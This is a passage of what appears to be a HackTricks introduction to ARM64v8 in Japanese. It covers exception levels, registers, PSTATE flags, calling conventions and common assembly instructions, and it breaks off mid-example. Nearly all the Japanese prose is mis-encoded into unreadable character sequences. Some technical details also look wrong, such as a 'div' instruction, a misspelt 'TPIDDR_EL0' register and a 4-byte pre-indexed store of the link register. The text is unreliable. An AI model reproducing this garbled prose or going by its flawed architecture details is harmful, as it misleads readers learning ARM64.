ARM64v8 å ¥é
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
äŸå€ã¬ãã« - EL (ARM64v8)
ARMv8 ã¢ãŒããã¯ãã£ã§ã¯ãå®è¡ã¬ãã«ã¯ Exception LevelsïŒELïŒãšããŠç¥ãããŠãããå®è¡ç°å¢ã®ç¹æš©ã¬ãã«ãšæ©èœãå®çŸ©ããŸããEL0 ãã EL3 ãŸã§ã® 4 ã€ã®äŸå€ã¬ãã«ããããããããç°ãªãç®çãæã¡ãŸãïŒ
- EL0 - User Mode:
- ããã¯æãæš©éã®äœãã¬ãã«ã§ãéåžžã®ã¢ããªã±ãŒã·ã§ã³ã³ãŒãã®å®è¡ã«äœ¿ãããŸãã
- EL0 ã§åäœããã¢ããªã±ãŒã·ã§ã³ã¯äºãã«ããŸãã·ã¹ãã ãœãããŠã§ã¢ãããéé¢ãããŠãããã»ãã¥ãªãã£ãšå®å®æ§ãåäžããŸãã
- EL1 - Operating System Kernel Mode:
- ã»ãšãã©ã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã«ãŒãã«ã¯ãã®ã¬ãã«ã§åäœããŸãã
- EL1 㯠EL0 ããå€ãã®ç¹æš©ãæã¡ãã·ã¹ãã ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããŸãããã·ã¹ãã ã®æŽåæ§ãä¿ã€ããã«ããã€ãã®å¶éããããŸããEL0 ãã EL1 ãžã¯ SVC åœä»€ã§ç§»è¡ããŸãã
- EL2 - Hypervisor Mode:
- ãã®ã¬ãã«ã¯ä»®æ³åã«äœ¿çšãããŸããEL2 ã§åäœãããã€ããŒãã€ã¶ã¯ãåãç©çããŒããŠã§ã¢äžã§è€æ°ã® OSïŒããããã EL1ïŒã管çã§ããŸãã
- EL2 ã¯ä»®æ³åãããç°å¢ã®éé¢ãšå¶åŸ¡ã®ããã®æ©èœãæäŸããŸãã
- ãã®ãã Parallels ã®ãããªä»®æ³ãã·ã³ã¢ããªã±ãŒã·ã§ã³ã¯
hypervisor.frameworkã䜿ã£ãŠ EL2 ãšããåãããã«ãŒãã«æ¡åŒµãå¿ èŠãšããã«ä»®æ³ãã·ã³ãå®è¡ã§ããŸãã - EL1 ãã EL2 ãžç§»åããã«ã¯
HVCåœä»€ã䜿ãããŸãã
- EL3 - Secure Monitor Mode:
- ããã¯æãç¹æš©ã®é«ãã¬ãã«ã§ãã»ãã¥ã¢ããŒãããã©ã¹ãããå®è¡ç°å¢ã«ãã°ãã°äœ¿çšãããŸãã
- EL3 ã¯ã»ãã¥ã¢ãšéã»ãã¥ã¢ç¶æ éã®ã¢ã¯ã»ã¹ïŒã»ãã¥ã¢ããŒãããã©ã¹ããã OS ãªã©ïŒã管çã»å¶åŸ¡ã§ããŸãã
- ãã€ãŠ macOS ã® KPP (Kernel Patch Protection) ã«å©çšãããŠããŸããããçŸåšã¯äœ¿çšãããŠããŸããã
- Apple ã¯ãã¯ã EL3 ã䜿çšããŠããŸããã
- EL3 ãžã®é·ç§»ã¯éåžž
SMCïŒSecure Monitor CallïŒåœä»€ã«ãã£ãŠè¡ãããŸãã
ãããã®ã¬ãã«ã®å©çšã«ããããŠãŒã¶ãŒã¢ããªã±ãŒã·ã§ã³ããæãç¹æš©ã®é«ãã·ã¹ãã ãœãããŠã§ã¢ãŸã§ãã·ã¹ãã ã®ç°ãªãåŽé¢ãæ§é çãã€å®å šã«ç®¡çã§ããŸããARMv8 ã®ç¹æš©ã¬ãã«ãžã®ã¢ãããŒãã¯ãç°ãªãã·ã¹ãã ã³ã³ããŒãã³ãã广çã«åé¢ããã·ã¹ãã ã®ã»ãã¥ãªãã£ãšå ç¢æ§ãåäžãããŸãã
ã¬ãžã¹ã¿ (ARM64v8)
ARM64 ã«ã¯ 31 åã®æ±çšã¬ãžã¹ã¿ ããããx0 ãã x30 ãšã©ãã«ä»ããããŠããŸããåã¬ãžã¹ã¿ã¯ 64 ãããïŒ8 ãã€ãïŒã®å€ãæ ŒçŽã§ããŸãã32 ãããå€ã®ã¿ãæ±ãæäœã§ã¯ãåãã¬ãžã¹ã¿ã 32 ãããã¢ãŒãã§ w0 ãã w30 ã®ååã§åç
§ã§ããŸãã
x0ããx7- ãããã¯éåžžã¹ã¯ã©ããã¬ãžã¹ã¿ããµãã«ãŒãã³ãžã®ãã©ã¡ãŒã¿æž¡ãã«äœ¿ãããŸãã
x0ã¯é¢æ°ã®æ»ãå€ãéã³ãŸãã
x8- Linux ã«ãŒãã«ã§ã¯x8ãsvcåœä»€ã®ã·ã¹ãã ã³ãŒã«çªå·ãšããŠäœ¿ãããŸããmacOS ã§ã¯ x16 ã䜿ãããŸãïŒx9ããx15- ããå€ãã®äžæã¬ãžã¹ã¿ã§ãããŒã«ã«å€æ°ã«äœ¿ãããããšãå€ãã§ããx16ãšx17- Intra-procedural Call Registersãå³å€çšã®äžæã¬ãžã¹ã¿ã§ãã鿥颿°åŒã³åºãã PLT ã¹ã¿ãã«ã䜿ãããŸãã
x16㯠macOS ã«ãããsvcåœä»€ã® ã·ã¹ãã ã³ãŒã«çªå· ã«äœ¿ãããŸãã
x18- Platform registerãæ±çšã¬ãžã¹ã¿ãšããŠäœ¿ããŸãããããã€ãã®ãã©ãããã©ãŒã ã§ã¯ãã©ãããã©ãŒã åºæã®çšéã«äºçŽãããŠããŸãïŒWindows ã§ã¯çŸåšã®ã¹ã¬ããç°å¢ãããã¯ãžã®ãã€ã³ã¿ãLinux ã«ãŒãã«ã§ã¯çŸåšå®è¡äžã®ã¿ã¹ã¯æ§é äœãžã®ãã€ã³ã¿ãªã©ãx19ããx28- ããã㯠callee-saved ã¬ãžã¹ã¿ã§ãã颿°ã¯ãããã®å€ãåŒã³åºãå ã®ããã«ä¿åããå¿ èŠããããããã¹ã¿ãã¯ã«ä¿åããŠåŒã³åºãå ã«æ»ãåã«åŸ©å ããŸããx29- Frame pointerãã¹ã¿ãã¯ãã¬ãŒã ã远跡ããããã«äœ¿çšãããŸãã颿°åŒã³åºãã§æ°ããã¹ã¿ãã¯ãã¬ãŒã ãäœããããšãx29ã¬ãžã¹ã¿ã¯ ã¹ã¿ãã¯ã«æ ŒçŽãããæ°ãããã¬ãŒã ãã€ã³ã¿ã¢ãã¬ã¹ïŒspã¢ãã¬ã¹ïŒããã®ã¬ãžã¹ã¿ã«æ ŒçŽãããŸãã
- ãã®ã¬ãžã¹ã¿ã¯éåžžããŒã«ã«å€æ°ã®åç §ãšããŠäœ¿ãããŸãããæ±çšã¬ãžã¹ã¿ãšããŠã䜿ããŸãã
x30ãŸãã¯lr- Link registerãBLïŒBranch with LinkïŒãBLRïŒBranch with Link to RegisterïŒåœä»€ãå®è¡ããããšãpcã®å€ããã®ã¬ãžã¹ã¿ã«æ ŒçŽã㊠æ»ãã¢ãã¬ã¹ ãä¿æããŸãã
- ä»ã®ã¬ãžã¹ã¿ãšåæ§ã«äœ¿çšããããšãã§ããŸãã
- çŸåšã®é¢æ°ãæ°ãã颿°ãåŒã³åºããŠ
lrãäžæžãããå Žåã颿°ã®å é ã§ã¹ã¿ãã¯ã«ä¿åããŸããããããšãããŒã°ïŒstp x29, x30 , [sp, #-48]; mov x29, sp->fpãšlrãä¿åããé åã確ä¿ããŠæ°ããfpãèšå®ïŒã§ãããçµäºæã«åŸ©å ããã®ãããããŒã°ïŒldp x29, x30, [sp], #48; ret->fpãšlrã埩å ã㊠returnïŒã§ãã
sp- Stack pointerãã¹ã¿ãã¯ã®å é ã远跡ããããã«äœ¿ãããŸãã
spã®å€ã¯å°ãªããšã quadword ã¢ã©ã€ã³ã¡ã³ã ãä¿ã€å¿ èŠããããããã§ãªããšã¢ã©ã€ã³ã¡ã³ãäŸå€ãçºçããå¯èœæ§ããããŸãã
pc- Program counterãæ¬¡ã®åœä»€ãæããŸãããã®ã¬ãžã¹ã¿ã¯äŸå€çºçãäŸå€åŸ©åž°ããã©ã³ãã«ãã£ãŠã®ã¿æŽæ°ãããŸããéåžžã®åœä»€ã§ãã®ã¬ãžã¹ã¿ãèªã¿åãããã®ã¯ãBLãBLRã®ããã«pcã¢ãã¬ã¹ãlrã«æ ŒçŽãããã©ã³ãåœä»€ã ãã§ããxzr- Zero registerã32 ãããçã§ã¯wzrãšåŒã°ããŸãããŒãå€ãç°¡åã«ååŸããïŒäžè¬çãªæäœïŒããããsubsã®ãããªæ¯èŒã§çµæãã©ãã«ãæ ŒçŽããªãçšéã«äœ¿ããŸãïŒäŸïŒsubs XZR, Xn, #10ïŒã
Wn ã¬ãžã¹ã¿ã¯ Xn ã¬ãžã¹ã¿ã® 32bit çã§ãã
Tip
X0-X18ã®ã¬ãžã¹ã¿ã¯æ®çºæ§ïŒvolatileïŒã§ã颿°åŒã³åºããå²ã蟌ã¿ã«ãã£ãŠå€ãå€ããå¯èœæ§ããããŸããäžæ¹ãX19-X28ã¯éæ®çºæ§ïŒnon-volatileïŒã§ã颿°åŒã³åºãéã§ãã®å€ãä¿æããå¿ èŠããããŸãïŒâcallee savedâïŒã
SIMD ãš æµ®åå°æ°ç¹ã¬ãžã¹ã¿
ããã«ãæé©åãããåäžåœä»€ãã«ããã«ããŒã¿ïŒSIMDïŒæäœãæµ®åå°æ°ç¹æŒç®ã«äœ¿ãã 128bit é·ãã® 32 åã®ã¬ãžã¹ã¿ ããããããã㯠Vn ã¬ãžã¹ã¿ãšåŒã°ããŸãããããã¯ãŸã 64bit, 32bit, 16bit, 8bit ã§åäœããããšãã§ãããã®å Žåã¯ãããã Qn, Dn, Sn, Hn, Bn ãšåŒã°ããŸãã
ã·ã¹ãã ã¬ãžã¹ã¿
äœçŸãã®ã·ã¹ãã ã¬ãžã¹ã¿ïŒç¹æ®ç®çã¬ãžã¹ã¿ãSPRïŒããããããã»ããµã®åäœãç£èŠã»å¶åŸ¡ããããã«äœ¿ãããŸãã
ãããã¯å°çšã®ç¹æ®åœä»€ mrs ãš msr ã䜿ã£ãŠã®ã¿èªã¿æžãã§ããŸãã
ç¹æ®ã¬ãžã¹ã¿ã® TPIDR_EL0 ãš TPIDDR_EL0 ã¯ãªããŒã¹ãšã³ãžãã¢ãªã³ã°æã«ããèŠãããŸããEL0 ãµãã£ãã¯ã¹ã¯ãã®ã¬ãžã¹ã¿ã«ã¢ã¯ã»ã¹å¯èœãªæå°ã®äŸå€ã¬ãã«ã瀺ããŸãïŒãã®å Žå EL0 ã¯éåžžã®ã¢ããªãåäœããéåžžã®äŸå€ïŒç¹æš©ïŒã¬ãã«ã§ãïŒã
ãããã¯ãã°ãã°ã¹ã¬ããããŒã«ã«ã¹ãã¬ãŒãžé åã®ããŒã¹ã¢ãã¬ã¹ãæ ŒçŽããããã«äœ¿ãããŸããéåžžãæåã®ãã®ã¯ EL0 ã®ããã°ã©ã ããèªã¿æžãå¯èœã§ãããäºã€ç®ã¯ EL0 ããèªã¿åããEL1ïŒã«ãŒãã«ïŒããæžã蟌ã¿å¯èœã§ããããšãå€ãã§ãã
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE ã¯ããã€ãã®ããã»ã¹ç¶æ
ã³ã³ããŒãã³ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããèŠããç¹å¥ã¬ãžã¹ã¿ SPSR_ELx ã«ã·ãªã¢ã©ã€ãºããŠæ ŒçŽããŸããããã§ X ã¯ããªã¬ãŒãããäŸå€ã® æš©éã¬ãã« ã瀺ããŸãïŒããã¯äŸå€çµäºæã«ããã»ã¹ç¶æ
ã埩å
ããããã§ãïŒã
ã¢ã¯ã»ã¹å¯èœãªãã£ãŒã«ãã¯æ¬¡ã®éãã§ãïŒ
.png)
N,Z,C,Væ¡ä»¶ãã©ã°ïŒNã¯æŒç®ãè² ã®çµæãçãã ããšã瀺ããŸãZã¯æŒç®ããŒããçãã ããšã瀺ããŸãCã¯ãã£ãªãŒãçºçããããšã瀺ããŸãVã¯ç¬Šå·ä»ããªãŒããŒãããŒãçºçããããšã瀺ããŸãïŒ- 2 ã€ã®æ£ã®æ°ã®åãè² ã®çµæã«ãªãå Žå
- 2 ã€ã®è² ã®æ°ã®åãæ£ã®çµæã«ãªãå Žå
- æžç®ã«ãããŠã倧ããªè² ã®æ°ããå°ããªæ£ã®æ°ãåŒãïŒãŸãã¯ãã®éïŒãªã©ã§ãçµæãäžãããããããæ°ã§è¡šçŸã§ããªãå Žå
- ããã»ããµã¯æŒç®ã笊å·ä»ãã笊å·ç¡ãããç¥ããªããããæŒç®ã§ C ãš V ã確èªããŠã笊å·ä»ãã笊å·ç¡ããã«å¿ããŠãã£ãªãŒã®çºçã瀺ããŸãã
Warning
ãã¹ãŠã®åœä»€ããããã®ãã©ã°ãæŽæ°ããããã§ã¯ãããŸããã
CMPãTSTã®ãããªåœä»€ããããã¯æ«å°Ÿã« s ãä»ãADDSã®ãããªãã®ã¯ãã©ã°ãæŽæ°ããŸãã
- çŸåšã® ã¬ãžã¹ã¿å¹
ïŒ
nRWïŒãã©ã°ïŒãã®ãã©ã°ã 0 ã®å Žåãããã°ã©ã ã¯åéæã« AArch64 å®è¡ç¶æ ã§åäœããŸãã - çŸåšã® Exception LevelïŒ
ELïŒïŒEL0 ã§åäœããéåžžããã°ã©ã ã¯å€ 0 ãæã¡ãŸãã - åäžã¹ãããïŒ
SSïŒãã©ã°ïŒãããã¬ãäŸå€ãä»ããŠSPSR_ELxå ã® SS ãã©ã°ã 1 ã«èšå®ããããšã§åäžã¹ããããå®è¡ããŸããããã°ã©ã ã¯ã¹ããããå®è¡ããã·ã³ã°ã«ã¹ãããäŸå€ãçºè¡ããŸãã - äžæ£ãªäŸå€ç¶æ
ãã©ã°ïŒ
ILïŒïŒç¹æš©ãœãããŠã§ã¢ãäžæ£ãªäŸå€ã¬ãã«ç§»è¡ãè¡ã£ããšãã«ãã®ãã©ã°ã 1 ã«ã»ãããããããã»ããµã¯äžæ£ç¶æ äŸå€ãããªã¬ãŒããŸãã DAIFãã©ã°ïŒãããã®ãã©ã°ã¯ç¹æš©ããã°ã©ã ãç¹å®ã®å€éšäŸå€ãéžæçã«ãã¹ã¯ããããšãèš±ããŸããAã 1 ã®å Žåã¯éåæã¢ããŒãïŒasynchronous abortsïŒãããªã¬ãŒãããŸããIã¯å€éšããŒããŠã§ã¢å²ã蟌ã¿èŠæ±ïŒIRQïŒãžã®å¿çãèšå®ããF㯠Fast Interrupt RequestsïŒFIRïŒã«é¢é£ããŸãã- ã¹ã¿ãã¯ãã€ã³ã¿éžæãã©ã°ïŒ
SPSïŒïŒEL1 以äžã§åäœããç¹æš©ããã°ã©ã ã¯èªèº«ã®ã¹ã¿ãã¯ãã€ã³ã¿ã¬ãžã¹ã¿ãšãŠãŒã¶ã¢ãã«ã®ãã®ïŒäŸïŒSP_EL1ãšEL0ïŒã®éãåãæ¿ããããšãã§ããŸãããã®åãæ¿ãã¯SPSelç¹æ®ã¬ãžã¹ã¿ãžã®æžã蟌ã¿ã«ãã£ãŠè¡ãããŸããEL0 ããã¯è¡ããŸããã
åŒã³åºãèŠçŽ (ARM64v8)
ARM64 ã®åŒã³åºãèŠçŽã§ã¯ã颿°ãžã®æåã® 8 åã®ãã©ã¡ãŒã¿ã¯ã¬ãžã¹ã¿ x0 ãã x7 ã«æž¡ãããŸãã远å ã®ãã©ã¡ãŒã¿ã¯ã¹ã¿ãã¯ã«æž¡ãããŸããæ»ãå€ã¯ x0 ã«è¿ããã128 ãããã®æ»ãå€ã¯ x1 ã䜿ãããŸããx19 ãã x30 ãš sp ã®ã¬ãžã¹ã¿ã¯é¢æ°åŒã³åºãéã§ä¿åããå¿
èŠããããŸãã
ã¢ã»ã³ããªã§é¢æ°ãèŠããšãã¯ãããããŒã°ãšãšãããŒã°ãæ¢ããŠãã ãããããããŒã°ã¯éåžž ãªã³ã¯ã¬ãžã¹ã¿ïŒx29ïŒã®ä¿åãæ°ãããã¬ãŒã ãã€ã³ã¿ã®èšå®ãããã³ ã¹ã¿ãã¯é åã®ç¢ºä¿ ã䌎ããŸãããšãããŒã°ã¯ä¿åãããã¬ãŒã ãã€ã³ã¿ã®åŸ©å
ãšé¢æ°ããã®åŸ©åž°ã䌎ããŸãã
Swift ã«ãããåŒã³åºãèŠçŽ
Swift ã¯ç¬èªã® åŒã³åºãèŠçŽ ãæã£ãŠãããè©³çŽ°ã¯æ¬¡ã§ç¢ºèªã§ããŸã: https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
äžè¬çãªåœä»€ (ARM64v8)
ARM64 åœä»€ã¯äžè¬ã« opcode dst, src1, src2 ã®åœ¢åŒãæã¡ãopcode ã¯å®è¡ãããæäœïŒadd, sub, mov ãªã©ïŒãdst ã¯çµæãæ ŒçŽãããå®å
ã¬ãžã¹ã¿ãsrc1 ãš src2 ã¯ãœãŒã¹ã¬ãžã¹ã¿ã§ããå³å€ããœãŒã¹ã®ä»£ããã«äœ¿ãããšãã§ããŸãã
-
mov: ã¬ãžã¹ã¿ããå¥ã®ã¬ãžã¹ã¿ãžå€ãç§»åããŸãã -
äŸ:
mov x0, x1âx1ã®å€ãx0ã«ç§»ããŸãã -
ldr: ã¡ã¢ãªããã¬ãžã¹ã¿ãžå€ãããŒãããŸãã -
äŸ:
ldr x0, [x1]âx1ãæãã¡ã¢ãªäœçœ®ããå€ãèªã¿x0ã«æ ŒçŽããŸãã -
ãªãã»ããã¢ãŒã: èµ·ç¹ãã€ã³ã¿ã«ãªãã»ãããæå®ããäŸïŒ
-
ldr x2, [x1, #8]ã¯x1 + 8ã®äœçœ®ã®å€ãx2ã«ããŒãããŸã -
ldr x2, [x0, x1, lsl #2]ã¯é åx0ã®x1ïŒã€ã³ããã¯ã¹ïŒäœçœ®ããïŒ*4ïŒã«çžåœãããªããžã§ã¯ããx2ã«ããŒãããŸã -
ããªã€ã³ããã¯ã¹ã¢ãŒã: èšç®ãèµ·ç¹ã«é©çšããçµæãèµ·ç¹ã«ãä¿åããŸãã
-
ldr x2, [x1, #8]!ã¯x1 + 8ãx2ã«ããŒãããx1ã«x1 + 8ãæ ŒçŽããŸã -
str lr, [sp, #-4]!ã¯ãªã³ã¯ã¬ãžã¹ã¿ãspã«æ ŒçŽãspãæŽæ°ããŸã -
ãã¹ãã€ã³ããã¯ã¹ã¢ãŒã: åè ãšäŒŒãŠããŸãããã¡ã¢ãªã¢ãã¬ã¹ã«ã¢ã¯ã»ã¹ããåŸã§ãªãã»ãããèšç®ããŠä¿åããŸãã
-
ldr x0, [x1], #8ã¯x1ãx0ã«ããŒããããã®åŸx1ãx1 + 8ã«æŽæ°ããŸã -
PC çžå¯Ÿã¢ãã¬ãã·ã³ã°: ãã®å ŽåãããŒãããã¢ãã¬ã¹ã¯ PC ã¬ãžã¹ã¿ã«çžå¯ŸããŠèšç®ãããŸã
-
ldr x1, =_startã¯çŸåšã® PC ã«é¢é£ããŠ_startã·ã³ãã«ã®éå§ã¢ãã¬ã¹ãx1ã«ããŒãããŸãã -
str: ã¬ãžã¹ã¿ã®å€ãã¡ã¢ãªã«ã¹ãã¢ããŸãã -
äŸ:
str x0, [x1]âx0ã®å€ãx1ãæãã¡ã¢ãªäœçœ®ã«æ ŒçŽããŸãã -
ldp: é£ç¶ããã¡ã¢ãªäœçœ®ãã 2 ã€ã®ã¬ãžã¹ã¿ãããŒãããŸãïŒLoad PairïŒã -
äŸ:
ldp x0, x1, [x2]âx2ãšx2 + 8ã®äœçœ®ããx0ãšx1ãããããããŒãããŸãã -
stp: é£ç¶ããã¡ã¢ãªäœçœ®ãž 2 ã€ã®ã¬ãžã¹ã¿ãã¹ãã¢ããŸãïŒStore PairïŒã -
äŸ:
stp x0, x1, [sp]âx0ãšx1ãspãšsp + 8ã®äœçœ®ã«æ ŒçŽããŸãã -
stp x0, x1, [sp, #16]!âx0ãšx1ãsp+16ããã³sp+24ã«æ ŒçŽããspãsp+16ã«æŽæ°ããŸãã -
add: 2 ã€ã®ã¬ãžã¹ã¿ã®å€ãå ç®ããŠçµæãã¬ãžã¹ã¿ã«æ ŒçŽããŸãã -
æ§æ: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> å®å
-
Xn2 -> ãªãã©ã³ã 1
-
Xn3 | #imm -> ãªãã©ã³ã 2ïŒã¬ãžã¹ã¿ãŸãã¯å³å€ïŒ
-
[shift #N | RRX] -> ã·ãããè¡ãã RRX ãåŒã¶
-
äŸ:
add x0, x1, x2âx1ãšx2ã®å€ãå ç®ããŠx0ã«æ ŒçŽããŸãã -
add x5, x5, #1, lsl #12â ãã㯠4096 ã«çžåœããŸãïŒ1 ã 12 ãããå·Šã·ããïŒã -
adds:addãè¡ããã©ã°ãæŽæ°ããŸãã -
sub: 2 ã€ã®ã¬ãžã¹ã¿ã®å€ãæžç®ããŠçµæãã¬ãžã¹ã¿ã«æ ŒçŽããŸãã -
addã®æ§æãåç §ããŠãã ããã -
äŸ:
sub x0, x1, x2âx1ããx2ãåŒããŠçµæãx0ã«æ ŒçŽããŸãã -
subs:subãšåæ§ã§ãããã©ã°ãæŽæ°ããŸãã -
mul: 2 ã€ã®ã¬ãžã¹ã¿ã®å€ãä¹ç®ããŠçµæãã¬ãžã¹ã¿ã«æ ŒçŽããŸãã -
äŸ:
mul x0, x1, x2âx1ãšx2ãä¹ç®ããŠx0ã«æ ŒçŽããŸãã -
div: ããã¬ãžã¹ã¿ã®å€ãå¥ã®ã¬ãžã¹ã¿ã§é€ç®ããŠçµæãã¬ãžã¹ã¿ã«æ ŒçŽããŸãã -
äŸ:
div x0, x1, x2âx1ãx2ã§å²ã£ãŠçµæãx0ã«æ ŒçŽããŸãã -
lsl,lsr,asr,ror,rrx: -
Logical shift left: æ«å°Ÿã« 0 ã远å ããŠä»ã®ããããåæ¹ã«ç§»åïŒ2 åã®ä¹ç®ã«çžåœïŒ
-
Logical shift right: å é ã« 0 ã远å ããŠä»ã®ããããåŸæ¹ã«ç§»åïŒç¬Šå·ç¡ãã§ n å 2 ã§å²ãïŒ
-
Arithmetic shift right:
lsrã«äŒŒãŠããŸãããæäžäœãããã 1 ã®å Žå㯠1 ã远å ããŸãïŒç¬Šå·ä»ãã§ n å 2 ã§å²ãïŒ -
Rotate right:
lsrã«äŒŒãŠããŸãããå³ããåãé€ããããããã巊端ã«ä»å ãããŸã -
Rotate Right with Extend:
rorã«äŒŒãŠããŸããããã£ãªãŒãã©ã°ããæäžäœãããããšããŠäœ¿ãããŸãããã£ãªãŒãã©ã°ãããã 31 ã«ç§»åããåãé€ããããããããã£ãªãŒãã©ã°ã«å ¥ããŸãã -
bfm: Bit Field Moveããããã®æäœã¯ããå€ã®ããã0...nãã³ããŒããŠäœçœ®m..m+nã«é 眮ããŸãã#sã¯å·Šç«¯ã®ãããäœçœ®ãã#rã¯å³å転éãæå®ããŸãã -
Bitfield move:
BFM Xd, Xn, #r -
Signed Bitfield move:
SBFM Xd, Xn, #r, #s -
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s -
Bitfield Extract ãš Insert: ã¬ãžã¹ã¿ããããããã£ãŒã«ããã³ããŒããŠå¥ã®ã¬ãžã¹ã¿ã«ã³ããŒããŸãã
-
BFI X1, X2, #3, #4X2 ã® 3 ãããç®ãã 4 ãããã X1 ã«æ¿å ¥ -
BFXIL X1, X2, #3, #4X2 ã® 3 ãããç®ãã 4 ããããæœåºã㊠X1 ã«ã³ã㌠-
SBFIZ X1, X2, #3, #4X2 ã® 4 ããããç¬Šå·æ¡åŒµã㊠X1 ã®ãããäœçœ® 3 ããæ¿å ¥ããå³åŽã®ãããããŒãã«ããŸã -
SBFX X1, X2, #3, #4X2 ã®ããã 3 ãã 4 ããããæœåºããŠç¬Šå·æ¡åŒµããçµæã X1 ã«æ ŒçŽããŸã -
UBFIZ X1, X2, #3, #4X2 ã® 4 ãããããŒãæ¡åŒµã㊠X1 ã®ãããäœçœ® 3 ããæ¿å ¥ããå³åŽã®ãããããŒãã«ããŸã -
UBFX X1, X2, #3, #4X2 ã®ããã 3 ãã 4 ããããæœåºããŠãŒãæ¡åŒµããçµæã X1 ã«æ ŒçŽããŸãã -
Sign Extend To X: å€ã®ç¬Šå·ãæ¡åŒµããïŒç¬Šå·ç¡ãç㯠0 ã远å ããïŒããšã§ããã®å€ã§æŒç®ã§ããããã«ããŸãïŒ
-
SXTB X1, W2W2 ã®ãã€ãã®ç¬Šå·ãæ¡åŒµããŠX1ã® 64 ããããæºãããŸãïŒW2ã¯X2ã®ååïŒ -
SXTH X1, W216 ãããå€ã®ç¬Šå·ãæ¡åŒµããŠX1ã® 64 ããããæºãããŸã -
SXTW X1, W2W2 ã® 32 ãããã®ç¬Šå·ãæ¡åŒµããŠX1ã® 64 ããããæºãããŸã -
UXTB X1, W2ãã€ãããŒãæ¡åŒµããŠX1ã® 64 ããããæºãããŸã -
extr: æå®ããã 2 ã€ã®ã¬ãžã¹ã¿ãé£çµãããã¢ããããããæœåºããŸãã -
äŸ:
EXTR W3, W2, W1, #3ã¯W1+W2ãé£çµããW2 ã®ããã 3 ãã W1 ã®ããã 3 ãŸã§ãååŸã㊠W3 ã«æ ŒçŽããŸãã -
cmp: 2 ã€ã®ã¬ãžã¹ã¿ãæ¯èŒããŠæ¡ä»¶ãã©ã°ãèšå®ããŸããããã¯subsã®ãšã€ãªã¢ã¹ã§ãããå®å ã¬ãžã¹ã¿ããŒãã¬ãžã¹ã¿ã«èšå®ããŸããm == nãå€å®ããã®ã«äŸ¿å©ã§ãã -
subsãšåãæ§æããµããŒãããŸãã -
äŸ:
cmp x0, x1âx0ãšx1ã®å€ãæ¯èŒããŠæ¡ä»¶ãã©ã°ãèšå®ããŸãã -
cmn: ãã¬ãã£ããªãã©ã³ãã®æ¯èŒãããã¯addsã®ãšã€ãªã¢ã¹ã§ãåãæ§æããµããŒãããŸããm == -nãå€å®ããã®ã«äŸ¿å©ã§ãã -
ccmp: æ¡ä»¶ä»ãæ¯èŒãåã®æ¯èŒãçã§ãã£ãå Žåã«ã®ã¿å®è¡ãããç¹ã« nzcv ããããèšå®ããŸãã -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func-> ãã x1 != x2 ã〠x3 < x4 ãªã func ãžãžã£ã³ã -
ããã¯
ccmpãåã®cmpãNEã ã£ãå Žåã«ã®ã¿å®è¡ãããããã§ãªãå Žå㯠nzcv ãããã 0 ã«ã»ããããïŒbltæ¡ä»¶ãæºãããªãïŒãŸãã -
ããã¯
ccmnïŒãã¬ãã£ãçãcmpãšcmnã®é¢ä¿ãšåæ§ïŒãšããŠã䜿ããŸãã -
tst: ANDS ã®çµæãã©ãã«ãæ ŒçŽããã«æ¯èŒãããããªåäœã§ãæ¯èŒãããã¬ãžã¹ã¿ã®ãããã®ããããã 1 ãã©ããããã§ãã¯ããã®ã«äŸ¿å©ã§ãã -
äŸ:
tst X1, #7㯠X1 ã®äžäœ 3 ãããã®ããããã 1 ãããã§ãã¯ããŸãã -
teq: XOR æŒç®ãçµæãç Žæ£ããŠè¡ããŸãã -
b: ç¡æ¡ä»¶ãã©ã³ã -
äŸ:
b myFunction -
ããã¯æ»ãã¢ãã¬ã¹ããªã³ã¯ã¬ãžã¹ã¿ã«æ ŒçŽããªãããšã«æ³šæïŒæ»ãå¿ èŠããããµãã«ãŒãã³åŒã³åºãã«ã¯äžé©ïŒã
-
bl: ãªã³ã¯ä»ããã©ã³ãããµãã«ãŒãã³ã®åŒã³åºãã«äœ¿çšããŸããæ»ãã¢ãã¬ã¹ãx30ã«æ ŒçŽããŸãã -
äŸ:
bl myFunctionâmyFunctionãåŒã³åºããæ»ãã¢ãã¬ã¹ãx30ã«æ ŒçŽããŸãã -
blr: ã¬ãžã¹ã¿ãžã®ãªã³ã¯ä»ããã©ã³ããã¿ãŒã²ãããã¬ãžã¹ã¿ã§æå®ããããµãã«ãŒãã³åŒã³åºãã«äœ¿çšããŸããæ»ãã¢ãã¬ã¹ãx30ã«æ ŒçŽããŸãã -
äŸ:
blr x1âx1ã«æ ŒçŽãããã¢ãã¬ã¹ã®é¢æ°ãåŒã³åºããæ»ãã¢ãã¬ã¹ãx30ã«æ ŒçŽããŸãã -
ret: ãµãã«ãŒãã³ããã®åŸ©åž°ãéåžžx30ã®ã¢ãã¬ã¹ã䜿ããŸãã -
äŸ:
retâx30ã®æ»ãã¢ãã¬ã¹ã䜿ã£ãŠçŸåšã®ãµãã«ãŒãã³ããæ»ããŸãã -
b.<cond>: æ¡ä»¶ä»ããã©ã³ã -
b.eq: çããå Žåã«åå²ïŒçŽåã®cmpã«åºã¥ãïŒã -
äŸ:
b.eq labelâ çŽåã®cmpãçãããšå€æããå Žåã«labelãžãžã£ã³ãããŸãã -
b.ne: çãããªãå Žåã«åå²ãçŽåã®æ¯èŒåœä»€ã§èšå®ãããæ¡ä»¶ãã©ã°ããã§ãã¯ããçãããªããã°ã©ãã«ãã¢ãã¬ã¹ãžåå²ããŸãã -
äŸ:
